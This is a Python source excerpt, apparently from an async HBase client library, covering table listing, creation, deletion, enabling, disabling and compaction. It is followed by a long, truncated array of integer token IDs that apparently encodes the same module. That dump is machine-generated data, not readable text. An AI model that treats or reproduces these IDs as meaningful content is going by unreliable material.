Return a list of table names available in this HBase instance.
If a `table_prefix` was set for this :py:class:`Connection`, only
tables that have the specified prefix will be listed.
:return: The table names
"""
names = await self.client.getTableNames()
# Filter using prefix, and strip prefix from names
if self.table_prefix is not None:
prefix = self._table_name(b'')
offset = len(prefix)
names = [n[offset:] for n in names if n.startswith(prefix)]
return names
async def create_table(self,
name: AnyStr,
families: Dict[str, Dict[str, Any]]) -> Table:
"""
Create a table.
:param name: The table name
:param families: The name and options for each column family
:return: The created table instance
The `families` argument is a dictionary mapping column family
names to a dictionary containing the options for this column
family, e.g.
::
families = {
'cf1': dict(max_versions=10),
'cf2': dict(max_versions=1, block_cache_enabled=False),
'cf3': dict(), # use defaults
}
connection.create_table('mytable', families)
These options correspond to the ColumnDescriptor structure in
the Thrift API, but note that the names should be provided in
Python style, not in camel case notation, e.g. `time_to_live`,
not `timeToLive`. The following options are supported:
* ``max_versions`` (`int`)
* ``compression`` (`str`)
* ``in_memory`` (`bool`)
* ``bloom_filter_type`` (`str`)
* ``bloom_filter_vector_size`` (`int`)
* ``bloom_filter_nb_hashes`` (`int`)
* ``block_cache_enabled`` (`bool`)
* ``time_to_live`` (`int`)
"""
name = self._table_name(name)
if not isinstance(families, dict):
raise TypeError("'families' arg must be a dictionary")
if not families:
raise ValueError(f"No column families given for table: {name!r}")
column_descriptors = []
for cf_name, options in families.items():
kwargs = {
snake_to_camel_case(option_name): value
for option_name, value in (options or {}).items()
}
if not cf_name.endswith(':'):
cf_name += ':'
kwargs['name'] = cf_name
column_descriptors.append(ColumnDescriptor(**kwargs))
await self.client.createTable(name, column_descriptors)
return self.table(name, use_prefix=False)
async def delete_table(self, name: AnyStr, disable: bool = False) -> None:
"""
Delete the specified table.
.. versionadded:: 0.5
`disable` argument
In HBase, a table always needs to be disabled before it can be
deleted. If the `disable` argument is `True`, this method first
disables the table if it wasn't already and then deletes it.
:param name: The table name
:param disable: Whether to first disable the table if needed
"""
if disable and await self.is_table_enabled(name):
await self.disable_table(name)
await self.client.deleteTable(self._table_name(name))
async def enable_table(self, name: AnyStr) -> None:
"""
Enable the specified table.
:param name: The table name
"""
await self.client.enableTable(self._table_name(name))
async def disable_table(self, name: AnyStr) -> None:
"""
Disable the specified table.
:param name: The table name
"""
await self.client.disableTable(self._table_name(name))
async def is_table_enabled(self, name: AnyStr) -> None:
"""
Return whether the specified table is enabled.
:param str name: The table name
:return: whether the table is enabled
:rtype: bool
"""
return await self.client.isTableEnabled(self._table_name(name))
async def compact_table(self, name: AnyStr, major: bool = False) -> None:
"""Compact the specified table.
:param str name: The table name
:param bool major: Whether to perform a major compaction.
"""
name = self._table_name(name)
if major:
await self.client.majorCompact(name)
else:
await self.client.compact(name)
# Support async context usage
async def __aenter__(self) -> 'Connection':
await self.open()
return self
async def __aexit__(self, *_exc) -> None:
self.close()
# Support context usage
def __enter__(self) -> 'Connection':
run_coro(self.open(), error="Use 'async with' in a running event loop!")
return self
def __exit__(self, *_exc) -> None:
self.close()
def __del__(self) -> None:
try:
if self.client._iprot.trans.is_open(): # noqa
logger.warning(f"{self} was not closed!")
except: # noqa
pass
| [
1,
9995,
13,
29909,
5971,
29950,
14862,
5160,
3957,
3883,
29889,
13,
15945,
29908,
13,
13,
5215,
2897,
13,
5215,
12183,
13,
3166,
19229,
1053,
3139,
5015,
29892,
2391,
29892,
360,
919,
29892,
3139,
13,
13,
3166,
1468,
2027,
2272,
29906,
29889,
21570,
29889,
29874,
601,
29889,
27882,
1053,
313,
13,
1678,
323,
8123,
7701,
287,
27395,
5126,
29892,
13,
1678,
323,
8123,
29943,
2572,
287,
27395,
5126,
29892,
13,
29897,
13,
3166,
1468,
2027,
2272,
29906,
29889,
21570,
29889,
29874,
601,
29889,
20464,
1053,
313,
13,
1678,
323,
8123,
25196,
17830,
5126,
29892,
13,
1678,
323,
8123,
6843,
627,
17830,
5126,
29892,
13,
29897,
13,
3166,
1468,
2027,
2272,
29906,
29889,
21570,
29889,
29874,
601,
29889,
29878,
6739,
1053,
1207,
29918,
4645,
13,
13,
3166,
379,
3188,
29918,
386,
7532,
1053,
379,
3188,
29892,
12481,
19124,
13,
13,
3166,
869,
2371,
1053,
6137,
13,
3166,
869,
29918,
4422,
1053,
313,
13,
1678,
9801,
29918,
13193,
29892,
13,
1678,
269,
21040,
29918,
517,
29918,
11108,
295,
29918,
4878,
29892,
13,
1678,
1423,
29918,
20965,
29918,
7076,
29892,
13,
1678,
1065,
29918,
2616,
29877,
29892,
13,
29897,
13,
13,
2202,
29901,
13,
1678,
515,
1468,
2027,
2272,
29906,
29918,
1124,
29916,
29918,
4645,
1053,
1207,
29918,
29874,
601,
29918,
4645,
408,
1207,
29918,
1124,
29918,
4645,
13,
19499,
16032,
2392,
29901,
29871,
396,
282,
23929,
29901,
694,
4612,
13,
1678,
7465,
822,
1207,
29918,
1124,
29918,
4645,
10456,
3383,
3579,
1649,
1125,
13,
4706,
12020,
24875,
2392,
703,
386,
7532,
2272,
29906,
29918,
1124,
29916,
29918,
4645,
338,
3734,
304,
29908,
13,
462,
965,
376,
671,
278,
7331,
3132,
9608,
23157,
13,
13,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
21514,
1299,
29918,
20387,
29903,
353,
6702,
29900,
29889,
29929,
29900,
742,
525,
29900,
29889,
29929,
29906,
742,
525,
29900,
29889,
29929,
29946,
742,
525,
29900,
29889,
29929,
29953,
742,
525,
29900,
29889,
29929,
29947,
1495,
13,
13,
23397,
29918,
20832,
353,
2897,
29889,
21813,
29889,
657,
877,
29909,
5971,
29950,
3301,
20055,
25416,
29918,
20832,
742,
525,
7640,
1495,
13,
23397,
29918,
15082,
353,
938,
29898,
359,
29889,
21813,
29889,
657,
877,
29909,
5971,
29950,
3301,
20055,
25416,
29918,
15082,
742,
525,
29929,
29900,
29929,
29900,
8785,
13,
23397,
29918,
21514,
1299,
353,
2897,
29889,
21813,
29889,
657,
877,
29909,
5971,
29950,
3301,
20055,
25416,
29918,
21514,
1299,
742,
525,
29900,
29889,
29929,
29947,
1495,
13,
23397,
29918,
26813,
5550,
8476,
353,
2897,
29889,
21813,
29889,
657,
877,
29909,
5971,
29950,
3301,
20055,
25416,
29918,
26813,
5550,
8476,
742,
525,
9040,
287,
1495,
13,
23397,
29918,
8618,
4986,
15032,
353,
2897,
29889,
21813,
29889,
657,
877,
29909,
5971,
29950,
3301,
20055,
25416,
29918,
8618,
4986,
15032,
742,
525,
19541,
1495,
13,
23397,
29918,
27205,
3919,
353,
2897,
29889,
21813,
29889,
657,
877,
29909,
5971,
29950,
3301,
20055,
25416,
29918,
27205,
3919,
742,
525,
11514,
1495,
13,
13,
13,
1990,
15160,
29901,
13,
1678,
9995,
13,
1678,
15160,
304,
385,
379,
5160,
498,
7532,
1923,
29889,
13,
13,
1678,
450,
421,
3069,
29952,
322,
421,
637,
29952,
6273,
6084,
278,
3495,
1024,
322,
19374,
2011,
13,
1678,
310,
278,
379,
5160,
498,
7532,
1923,
304,
4511,
304,
29889,
960,
25811,
470,
4954,
8516,
29952,
1673,
13,
1678,
263,
3957,
304,
278,
2322,
2011,
373,
4954,
7640,
16159,
338,
1754,
29889,
960,
13,
1678,
1580,
361,
287,
29892,
278,
421,
15619,
29952,
2980,
1580,
11057,
278,
9909,
11815,
297,
13,
1678,
3533,
21462,
29889,
13,
13,
1678,
960,
421,
6921,
6915,
29952,
338,
421,
5574,
29952,
278,
3957,
338,
1754,
4153,
2645,
13,
1678,
17865,
29889,
13466,
263,
3030,
8455,
881,
367,
1304,
313,
2541,
13,
1678,
15160,
11410,
470,
584,
2272,
29901,
29885,
621,
18078,
5350,
29889,
3150,
29952,
1818,
367,
2000,
9479,
13,
1678,
1434,
937,
671,
29889,
3940,
393,
2861,
304,
27028,
297,
278,
5132,
7465,
13,
1678,
6890,
29892,
263,
24875,
2392,
674,
367,
10425,
565,
372,
338,
1304,
2768,
310,
263,
2734,
13,
1678,
408,
948,
3934,
1741,
2425,
29889,
13,
13,
1678,
450,
13136,
421,
2371,
29918,
13506,
29952,
322,
421,
2371,
29918,
13506,
29918,
344,
17954,
29952,
6273,
13,
1678,
6084,
263,
10944,
322,
263,
28128,
1347,
304,
367,
8273,
2760,
304,
599,
1591,
13,
1678,
2983,
29892,
321,
29889,
29887,
29889,
746,
584,
2272,
29901,
29885,
621,
18078,
5350,
29889,
2371,
29952,
338,
22336,
29889,
1152,
13,
1678,
1342,
29892,
565,
421,
2371,
29918,
13506,
29952,
338,
4954,
1357,
4836,
29952,
1673,
599,
6131,
674,
13,
1678,
505,
2983,
763,
4954,
1357,
4836,
29918,
18454,
29999,
29952,
1412,
13,
13,
1678,
450,
13136,
421,
12667,
29952,
2980,
6166,
278,
24521,
3233,
363,
13,
1678,
445,
3957,
29889,
8198,
261,
379,
5160,
6910,
505,
10029,
1422,
498,
7532,
13,
1678,
19510,
29892,
322,
773,
278,
2743,
9608,
508,
3275,
304,
21985,
8581,
13,
1678,
491,
12084,
4436,
29892,
577,
1207,
1854,
304,
671,
278,
1959,
697,
29889,
910,
13,
1678,
995,
508,
367,
2845,
278,
1347,
4954,
29900,
29889,
29929,
29900,
29952,
1673,
4954,
29900,
29889,
29929,
29906,
29952,
1673,
4954,
29900,
29889,
29929,
29946,
29952,
1673,
470,
13,
1678,
4954,
29900,
29889,
29929,
29953,
16159,
313,
1552,
2322,
467,
13,
13,
1678,
450,
13136,
421,
27882,
29952,
2980,
1580,
11057,
278,
498,
7532,
8608,
13,
1678,
4464,
304,
671,
29889,
18601,
287,
1819,
363,
445,
2980,
526,
4954,
9040,
287,
16159,
13,
1678,
313,
1552,
2322,
29897,
322,
4954,
1341,
2795,
29952,
1412,
8561,
1854,
304,
6755,
278,
1492,
697,
29892,
13,
1678,
1951,
6467,
366,
1795,
1074,
1661,
29899,
711,
2366,
3957,
4436,
470,
13,
1678,
1824,
13958,
29879,
746,
3907,
263,
3957,
29889,
379,
5160,
6910,
1434,
29871,
29900,
29889,
29929,
29946,
13,
1678,
2337,
671,
278,
6835,
287,
8608,
29889,
23748,
411,
379,
5160,
29871,
29900,
29889,
29929,
29946,
29892,
278,
13,
1678,
498,
7532,
1923,
2984,
635,
3913,
263,
1424,
2795,
8608,
29892,
8679,
373,
278,
13,
1678,
2980,
4502,
304,
278,
4954,
29882,
3188,
29899,
1388,
9857,
29889,
845,
1369,
1468,
2027,
16159,
1899,
29889,
13,
1678,
450,
2322,
4954,
29899,
7097,
10109,
16159,
4464,
3913,
278,
6835,
287,
8608,
29936,
278,
13,
1678,
4954,
29899,
29882,
17051,
29952,
1673,
4954,
29899,
5464,
1271,
292,
29952,
1673,
322,
4954,
29899,
7097,
287,
14357,
16159,
18893,
671,
278,
13,
1678,
1424,
2795,
8608,
29889,
13,
13,
1678,
450,
13136,
421,
20464,
29952,
2980,
1580,
11057,
278,
498,
7532,
8608,
13,
1678,
9608,
304,
671,
29889,
18601,
287,
1819,
363,
445,
2980,
526,
4954,
19541,
16159,
13,
1678,
313,
1552,
2322,
29897,
322,
4954,
2388,
627,
29952,
1412,
8561,
1854,
304,
6755,
278,
1492,
697,
29892,
13,
1678,
1951,
6467,
366,
1795,
1074,
1661,
29899,
711,
2366,
3957,
4436,
470,
13,
1678,
1824,
13958,
29879,
746,
3907,
263,
3957,
29889,
4954,
29911,
6843,
627,
17830,
16159,
338,
13,
1678,
263,
901,
11071,
7581,
3402,
393,
338,
29871,
12234,
901,
8543,
304,
13,
1678,
1889,
408,
1532,
29889,
4954,
24895,
3821,
17830,
16159,
338,
278,
2322,
9608,
393,
13,
1678,
319,
5971,
29950,
14862,
5160,
3913,
29889,
13,
13,
1678,
450,
13136,
421,
4645,
29952,
2980,
1580,
11057,
278,
1134,
310,
498,
7532,
3132,
13,
1678,
304,
671,
29889,
18601,
287,
1819,
363,
445,
2980,
526,
4954,
11514,
16159,
13,
1678,
313,
1552,
2322,
29897,
322,
4954,
1124,
29952,
1412,
8561,
1854,
304,
6755,
278,
1492,
697,
29892,
13,
1678,
1951,
6467,
366,
1795,
1074,
1661,
29899,
711,
2366,
3957,
4436,
470,
13,
1678,
1824,
13958,
29879,
746,
3907,
263,
3957,
29889,
1763,
1423,
607,
3132,
13,
1678,
366,
881,
671,
29892,
2737,
304,
278,
4954,
29882,
3188,
29889,
12803,
2974,
29889,
386,
7532,
29889,
1124,
16159,
13,
1678,
4444,
29889,
960,
372,
338,
4954,
3009,
16159,
671,
4954,
1124,
29952,
1673,
6467,
671,
4954,
11514,
29952,
1412,
13,
13,
1678,
6317,
1873,
23959,
1057,
325,
29896,
29889,
29946,
29889,
29900,
13,
4706,
421,
4645,
29952,
2980,
13,
13,
1678,
6317,
1873,
23959,
1057,
29871,
29900,
29889,
29929,
13,
539,
421,
20464,
29952,
2980,
13,
13,
1678,
6317,
1873,
23959,
1057,
29871,
29900,
29889,
29945,
13,
539,
421,
15619,
29952,
2980,
13,
13,
1678,
6317,
1873,
23959,
1057,
29871,
29900,
29889,
29946,
13,
539,
421,
2371,
29918,
13506,
29918,
344,
17954,
29952,
2980,
13,
13,
1678,
6317,
1873,
23959,
1057,
29871,
29900,
29889,
29946,
13,
539,
2304,
363,
1424,
2795,
498,
7532,
1301,
4011,
13,
1678,
9995,
13,
1678,
396,
14402,
29901,
11133,
5706,
1438,
29973,
13,
1678,
3446,
3960,
7818,
29918,
26813,
5550,
8476,
29903,
353,
9657,
29898,
13,
4706,
6835,
287,
29922,
29911,
8123,
7701,
287,
27395,
5126,
3285,
13,
4706,
1424,
2795,
29922,
29911,
8123,
29943,
2572,
287,
27395,
5126,
3285,
13,
1678,
1723,
13,
1678,
3446,
3960,
7818,
29918,
8618,
4986,
3217,
8547,
353,
9657,
29898,
13,
4706,
7581,
29922,
29911,
8123,
25196,
17830,
5126,
29898,
13808,
29918,
5327,
29922,
8824,
511,
13,
4706,
11071,
29922,
29911,
8123,
6843,
627,
17830,
5126,
29898,
13808,
29918,
5327,
29922,
8824,
511,
13,
1678,
1723,
13,
1678,
3446,
3960,
7818,
29918,
27205,
3919,
29903,
353,
9657,
29898,
13,
4706,
9909,
29922,
5675,
29918,
4645,
29892,
13,
4706,
1732,
29922,
5675,
29918,
1124,
29918,
4645,
29892,
13,
1678,
1723,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
13,
462,
3495,
29901,
851,
353,
22236,
29918,
20832,
29892,
13,
462,
2011,
29901,
938,
353,
22236,
29918,
15082,
29892,
13,
462,
11815,
29901,
938,
353,
6213,
29892,
13,
462,
4469,
6915,
29901,
6120,
353,
7700,
29892,
13,
462,
1591,
29918,
13506,
29901,
3139,
5015,
353,
6213,
29892,
13,
462,
1591,
29918,
13506,
29918,
344,
17954,
29901,
3139,
5015,
353,
289,
15972,
742,
13,
462,
10007,
29901,
851,
353,
22236,
29918,
21514,
1299,
29892,
13,
462,
8608,
29901,
851,
353,
22236,
29918,
26813,
5550,
8476,
29892,
13,
462,
9608,
29901,
851,
353,
22236,
29918,
8618,
4986,
15032,
29892,
13,
462,
3132,
29901,
851,
353,
22236,
29918,
27205,
3919,
29892,
13,
462,
3579,
4645,
29918,
19290,
29901,
3139,
1125,
13,
4706,
9995,
13,
4706,
584,
3207,
3495,
29901,
450,
3495,
304,
4511,
304,
13,
4706,
584,
3207,
2011,
29901,
450,
2011,
304,
4511,
304,
13,
4706,
584,
3207,
11815,
29901,
450,
9909,
11815,
297,
3533,
21462,
313,
25253,
29897,
13,
4706,
584,
3207,
4469,
6915,
29901,
26460,
278,
3957,
881,
367,
6496,
4153,
13,
4706,
584,
3207,
1591,
29918,
13506,
29901,
349,
9569,
1304,
304,
3386,
1591,
2983,
313,
25253,
29897,
13,
4706,
584,
3207,
1591,
29918,
13506,
29918,
344,
17954,
29901,
922,
17954,
1304,
363,
421,
2371,
29918,
13506,
29952,
13,
4706,
584,
3207,
10007,
29901,
3831,
271,
4127,
4464,
313,
25253,
29897,
13,
4706,
584,
3207,
8608,
29901,
498,
7532,
8608,
4464,
313,
25253,
29897,
13,
4706,
584,
3207,
9608,
29901,
498,
7532,
9608,
4464,
313,
25253,
29897,
13,
4706,
584,
3207,
3132,
29901,
498,
7532,
3132,
4464,
313,
25253,
29897,
13,
4706,
584,
3207,
3132,
29918,
19290,
29901,
13,
9651,
7338,
336,
13553,
6273,
363,
421,
5675,
29918,
4645,
13595,
2823,
278,
498,
7532,
19737,
29906,
13,
9651,
5106,
363,
901,
2472,
29889,
13,
4706,
9995,
13,
4706,
565,
1591,
29918,
13506,
338,
451,
6213,
29901,
13,
9651,
565,
451,
338,
8758,
29898,
2371,
29918,
13506,
29892,
313,
710,
29892,
6262,
22164,
13,
18884,
12020,
20948,
703,
29915,
2371,
29918,
13506,
29915,
1818,
367,
263,
1347,
1159,
13,
9651,
1591,
29918,
13506,
353,
9801,
29918,
13193,
29898,
2371,
29918,
13506,
29897,
13,
13,
4706,
565,
451,
338,
8758,
29898,
2371,
29918,
13506,
29918,
344,
17954,
29892,
313,
710,
29892,
6262,
22164,
13,
9651,
12020,
20948,
703,
29915,
2371,
29918,
13506,
29918,
344,
17954,
29915,
1818,
367,
263,
1347,
1159,
13,
4706,
1591,
29918,
13506,
29918,
344,
17954,
353,
9801,
29918,
13193,
29898,
2371,
29918,
13506,
29918,
344,
17954,
29897,
13,
13,
4706,
1423,
29918,
20965,
29918,
7076,
29898,
13,
9651,
10007,
7607,
12667,
29892,
4810,
3580,
1299,
29918,
20387,
29903,
511,
13,
9651,
8608,
7607,
27882,
29892,
1583,
29889,
4690,
3960,
7818,
29918,
26813,
5550,
8476,
29903,
511,
13,
9651,
9608,
7607,
20464,
29892,
1583,
29889,
4690,
3960,
7818,
29918,
8618,
4986,
3217,
8547,
511,
13,
9651,
3132,
7607,
4645,
29892,
1583,
29889,
4690,
3960,
7818,
29918,
27205,
3919,
29903,
511,
13,
4706,
1723,
13,
13,
4706,
396,
29408,
3495,
322,
2011,
304,
367,
6213,
29892,
607,
1122,
367,
6775,
363,
13,
4706,
396,
8324,
28489,
263,
15160,
2777,
29889,
13,
4706,
1583,
29889,
3069,
353,
3495,
470,
22236,
29918,
20832,
13,
4706,
1583,
29889,
637,
353,
2011,
470,
22236,
29918,
15082,
13,
4706,
1583,
29889,
15619,
353,
11815,
13,
4706,
1583,
29889,
2371,
29918,
13506,
353,
1591,
29918,
13506,
13,
4706,
1583,
29889,
2371,
29918,
13506,
29918,
344,
17954,
353,
1591,
29918,
13506,
29918,
344,
17954,
13,
4706,
1583,
29889,
12667,
353,
10007,
13,
13,
4706,
1583,
3032,
27882,
29918,
14399,
353,
1583,
29889,
4690,
3960,
7818,
29918,
26813,
5550,
8476,
29903,
29961,
27882,
29962,
13,
4706,
1583,
3032,
20464,
29918,
14399,
353,
1583,
29889,
4690,
3960,
7818,
29918,
8618,
4986,
3217,
8547,
29961,
20464,
29962,
13,
4706,
1583,
3032,
4645,
29918,
14399,
353,
1583,
29889,
4690,
3960,
7818,
29918,
27205,
3919,
29903,
29961,
4645,
29962,
13,
13,
4706,
1583,
29889,
4645,
29918,
19290,
353,
426,
13,
9651,
525,
5509,
2396,
379,
3188,
29892,
13,
9651,
525,
3069,
2396,
1583,
29889,
3069,
29892,
13,
9651,
525,
637,
2396,
1583,
29889,
637,
29892,
13,
9651,
525,
15619,
2396,
1583,
29889,
15619,
29892,
13,
9651,
525,
3286,
29918,
14399,
2396,
1583,
3032,
27882,
29918,
14399,
29892,
13,
9651,
525,
17529,
29918,
14399,
2396,
1583,
3032,
20464,
29918,
14399,
29892,
13,
9651,
3579,
4645,
29918,
19290,
29892,
13,
4706,
500,
13,
4706,
1583,
29889,
4645,
353,
6213,
13,
13,
4706,
565,
4469,
6915,
29901,
13,
9651,
1583,
3032,
6921,
6915,
580,
13,
13,
1678,
822,
903,
6921,
6915,
29898,
1311,
1125,
13,
4706,
1065,
29918,
2616,
29877,
29898,
1311,
29889,
3150,
3285,
376,
29089,
4469,
6915,
297,
263,
2734,
1741,
2425,
29991,
1159,
13,
13,
1678,
822,
903,
2371,
29918,
978,
29898,
1311,
29892,
1024,
29901,
3139,
5015,
29897,
1599,
6262,
29901,
13,
4706,
9995,
1168,
4984,
263,
1591,
1024,
491,
2984,
635,
4417,
263,
1591,
1024,
10944,
1213,
15945,
13,
4706,
1024,
353,
9801,
29918,
13193,
29898,
978,
29897,
13,
4706,
565,
1583,
29889,
2371,
29918,
13506,
338,
6213,
29901,
13,
9651,
736,
1024,
13,
4706,
736,
1583,
29889,
2371,
29918,
13506,
718,
1583,
29889,
2371,
29918,
13506,
29918,
344,
17954,
718,
1024,
13,
13,
1678,
7465,
822,
1722,
29898,
1311,
29897,
1599,
6213,
29901,
13,
4706,
9995,
13,
4706,
6204,
322,
1722,
278,
14407,
3132,
304,
278,
379,
5160,
2777,
29889,
910,
13,
4706,
1158,
508,
23511,
367,
2000,
901,
1135,
2748,
29889,
13,
4706,
9995,
13,
4706,
565,
1583,
29889,
4645,
338,
451,
6213,
29901,
13,
9651,
736,
29871,
396,
903,
22379,
29918,
386,
7532,
29918,
4645,
6496,
278,
8608,
13,
13,
4706,
17927,
29889,
8382,
29898,
29888,
29908,
6585,
292,
498,
7532,
8608,
304,
426,
1311,
29889,
3069,
6177,
29912,
1311,
29889,
637,
27195,
13,
4706,
1583,
29889,
4645,
353,
7272,
1583,
3032,
4645,
29918,
14399,
29898,
1068,
1311,
29889,
4645,
29918,
19290,
29897,
13,
13,
1678,
822,
3802,
29898,
1311,
29897,
1599,
6213,
29901,
13,
4706,
9995,
13,
4706,
23186,
278,
14407,
3132,
304,
278,
379,
5160,
2777,
29889,
910,
1158,
13,
4706,
508,
367,
23511,
2000,
901,
1135,
2748,
29889,
3940,
393,
278,
3132,
338,
13,
4706,
14416,
1156,
372,
338,
5764,
607,
674,
4556,
4436,
304,
6403,
13,
4706,
565,
372,
338,
1304,
1449,
1434,
337,
3150,
292,
29889,
450,
584,
2272,
29901,
1990,
18078,
5350,
29952,
13,
4706,
508,
367,
337,
3150,
287,
491,
5432,
584,
2272,
29901,
29885,
621,
18078,
3150,
29952,
1449,
29889,
13,
4706,
9995,
13,
4706,
565,
1583,
29889,
4645,
338,
6213,
29901,
13,
9651,
736,
13,
13,
4706,
565,
17927,
338,
451,
6213,
29901,
13,
9651,
396,
960,
2000,
515,
4770,
6144,
1649,
3285,
3883,
3651,
1122,
694,
5520,
1863,
29889,
13,
9651,
17927,
29889,
8382,
29898,
29888,
29908,
29907,
5409,
292,
498,
7532,
8608,
304,
426,
1311,
29889,
3069,
6177,
29912,
1311,
29889,
637,
27195,
13,
13,
4706,
1583,
29889,
4645,
29889,
5358,
580,
13,
4706,
1583,
29889,
4645,
353,
6213,
13,
13,
1678,
822,
1591,
29898,
1311,
29892,
1024,
29901,
3139,
5015,
29892,
671,
29918,
13506,
29901,
6120,
353,
5852,
29897,
1599,
6137,
29901,
13,
4706,
9995,
13,
4706,
7106,
263,
1591,
1203,
29889,
13,
13,
4706,
16969,
263,
584,
2272,
29901,
1990,
18078,
29882,
14862,
3188,
29889,
3562,
29952,
2777,
363,
278,
1591,
13,
4706,
4257,
421,
978,
1412,
910,
947,
451,
1121,
297,
263,
4513,
29899,
3626,
29886,
304,
278,
13,
4706,
1923,
29892,
322,
278,
1591,
338,
451,
7120,
363,
10379,
29889,
13,
13,
4706,
450,
13136,
421,
1509,
29918,
13506,
29952,
2980,
1580,
11057,
3692,
278,
1591,
13,
4706,
10944,
313,
361,
738,
29897,
338,
8273,
2760,
304,
278,
6790,
421,
978,
1412,
3789,
445,
13,
4706,
304,
421,
8824,
29952,
565,
366,
864,
304,
671,
263,
1591,
393,
620,
2247,
297,
1790,
13,
4706,
5129,
13506,
7397,
30010,
29892,
321,
29889,
29887,
29889,
263,
1591,
515,
263,
5129,
18326,
368,
30010,
2280,
13,
4706,
1302,
29899,
3069,
287,
373,
278,
1021,
379,
5160,
2777,
29889,
2823,
278,
421,
2371,
29918,
13506,
29952,
13,
4706,
2980,
304,
278,
584,
2272,
29901,
1990,
18078,
5350,
29952,
5823,
363,
901,
13,
4706,
2472,
29889,
13,
13,
4706,
584,
3207,
1024,
29901,
278,
1024,
310,
278,
1591,
13,
4706,
584,
3207,
671,
29918,
13506,
29901,
3692,
304,
671,
278,
1591,
10944,
313,
361,
738,
29897,
13,
4706,
584,
2457,
29901,
6137,
2777,
13,
4706,
9995,
13,
4706,
1024,
353,
9801,
29918,
13193,
29898,
978,
29897,
13,
4706,
565,
671,
29918,
13506,
29901,
13,
9651,
1024,
353,
1583,
3032,
2371,
29918,
978,
29898,
978,
29897,
13,
4706,
736,
6137,
29898,
978,
29892,
1583,
29897,
13,
13,
1678,
396,
6137,
17517,
322,
25413,
13,
13,
1678,
7465,
822,
6131,
29898,
1311,
29897,
1599,
2391,
29961,
13193,
5387,
13,
4706,
9995,
13,
4706,
7106,
263,
1051,
310,
1591,
2983,
3625,
297,
445,
379,
5160,
2777,
29889,
13,
13,
4706,
960,
263,
421,
2371,
29918,
13506,
29952,
471,
731,
363,
445,
584,
2272,
29901,
1990,
18078,
5350,
1673,
871,
13,
4706,
6131,
393,
505,
278,
6790,
10944,
674,
367,
9904,
29889,
13,
13,
4706,
584,
2457,
29901,
450,
1591,
2983,
13,
4706,
9995,
13,
4706,
2983,
353,
7272,
1583,
29889,
4645,
29889,
657,
3562,
8659,
580,
13,
13,
4706,
396,
19916,
773,
10944,
29892,
322,
17820,
10944,
515,
2983,
13,
4706,
565,
1583,
29889,
2371,
29918,
13506,
338,
451,
6213,
29901,
13,
9651,
10944,
353,
1583,
3032,
2371,
29918,
978,
29898,
29890,
29915,
1495,
13,
9651,
9210,
353,
7431,
29898,
13506,
29897,
13,
9651,
2983,
353,
518,
29876,
29961,
10289,
17531,
363,
302,
297,
2983,
565,
302,
29889,
27382,
2541,
29898,
13506,
4638,
13,
13,
4706,
736,
2983,
13,
13,
1678,
7465,
822,
1653,
29918,
2371,
29898,
1311,
29892,
13,
462,
965,
1024,
29901,
3139,
5015,
29892,
13,
462,
965,
13175,
29901,
360,
919,
29961,
710,
29892,
360,
919,
29961,
710,
29892,
3139,
24960,
1599,
6137,
29901,
13,
4706,
9995,
13,
4706,
6204,
263,
1591,
29889,
13,
13,
4706,
584,
3207,
1024,
29901,
450,
1591,
1024,
13,
4706,
584,
3207,
13175,
29901,
450,
1024,
322,
3987,
363,
1269,
1897,
3942,
13,
4706,
584,
2457,
29901,
450,
2825,
1591,
2777,
13,
13,
4706,
450,
421,
8302,
583,
29952,
2980,
338,
263,
8600,
10417,
1897,
3942,
13,
4706,
2983,
304,
263,
8600,
6943,
278,
3987,
363,
445,
1897,
13,
4706,
3942,
29892,
321,
29889,
29887,
29889,
13,
13,
4706,
4761,
13,
13,
9651,
13175,
353,
426,
13,
18884,
525,
6854,
29896,
2396,
9657,
29898,
3317,
29918,
26100,
29922,
29896,
29900,
511,
13,
18884,
525,
6854,
29906,
2396,
9657,
29898,
3317,
29918,
26100,
29922,
29896,
29892,
2908,
29918,
8173,
29918,
17590,
29922,
8824,
511,
13,
18884,
525,
6854,
29941,
2396,
9657,
3285,
29871,
396,
671,
21274,
13,
9651,
500,
13,
9651,
3957,
29889,
3258,
29918,
2371,
877,
1357,
2371,
742,
13175,
29897,
13,
13,
4706,
4525,
3987,
3928,
304,
278,
12481,
19124,
3829,
297,
13,
4706,
278,
498,
7532,
3450,
29892,
541,
4443,
393,
278,
2983,
881,
367,
4944,
297,
13,
4706,
5132,
3114,
29892,
451,
297,
3949,
295,
1206,
12640,
29892,
321,
29889,
29887,
29889,
421,
2230,
29918,
517,
29918,
9258,
1673,
13,
4706,
451,
421,
2230,
1762,
23859,
1412,
450,
1494,
3987,
526,
6969,
29901,
13,
13,
4706,
334,
4954,
3317,
29918,
26100,
16159,
6695,
524,
6348,
13,
4706,
334,
4954,
510,
2590,
16159,
6695,
710,
6348,
13,
4706,
334,
4954,
262,
29918,
14834,
16159,
6695,
11227,
6348,
13,
4706,
334,
4954,
14073,
290,
29918,
4572,
29918,
1853,
16159,
6695,
710,
6348,
13,
4706,
334,
4954,
14073,
290,
29918,
4572,
29918,
8111,
29918,
2311,
16159,
6695,
524,
6348,
13,
4706,
334,
4954,
14073,
290,
29918,
4572,
29918,
9877,
29918,
8568,
267,
16159,
6695,
524,
6348,
13,
4706,
334,
4954,
1271,
29918,
8173,
29918,
17590,
16159,
6695,
11227,
6348,
13,
4706,
334,
4954,
2230,
29918,
517,
29918,
9258,
16159,
6695,
524,
6348,
13,
4706,
9995,
13,
4706,
1024,
353,
1583,
3032,
2371,
29918,
978,
29898,
978,
29897,
13,
4706,
565,
451,
338,
8758,
29898,
8302,
583,
29892,
9657,
1125,
13,
9651,
12020,
20948,
703,
29915,
8302,
583,
29915,
1852,
1818,
367,
263,
8600,
1159,
13,
13,
4706,
565,
451,
13175,
29901,
13,
9651,
12020,
7865,
2392,
29898,
29888,
29908,
3782,
1897,
13175,
2183,
363,
1591,
29901,
426,
978,
29991,
29878,
27195,
13,
13,
4706,
1897,
29918,
2783,
924,
943,
353,
5159,
13,
4706,
363,
274,
29888,
29918,
978,
29892,
3987,
297,
13175,
29889,
7076,
7295,
13,
9651,
9049,
5085,
353,
426,
13,
18884,
269,
21040,
29918,
517,
29918,
11108,
295,
29918,
4878,
29898,
3385,
29918,
978,
1125,
995,
13,
18884,
363,
2984,
29918,
978,
29892,
995,
297,
313,
6768,
470,
6571,
467,
7076,
580,
13,
9651,
500,
13,
13,
9651,
565,
451,
274,
29888,
29918,
978,
29889,
1975,
2541,
877,
11283,
1125,
13,
18884,
274,
29888,
29918,
978,
4619,
525,
11283,
13,
9651,
9049,
5085,
1839,
978,
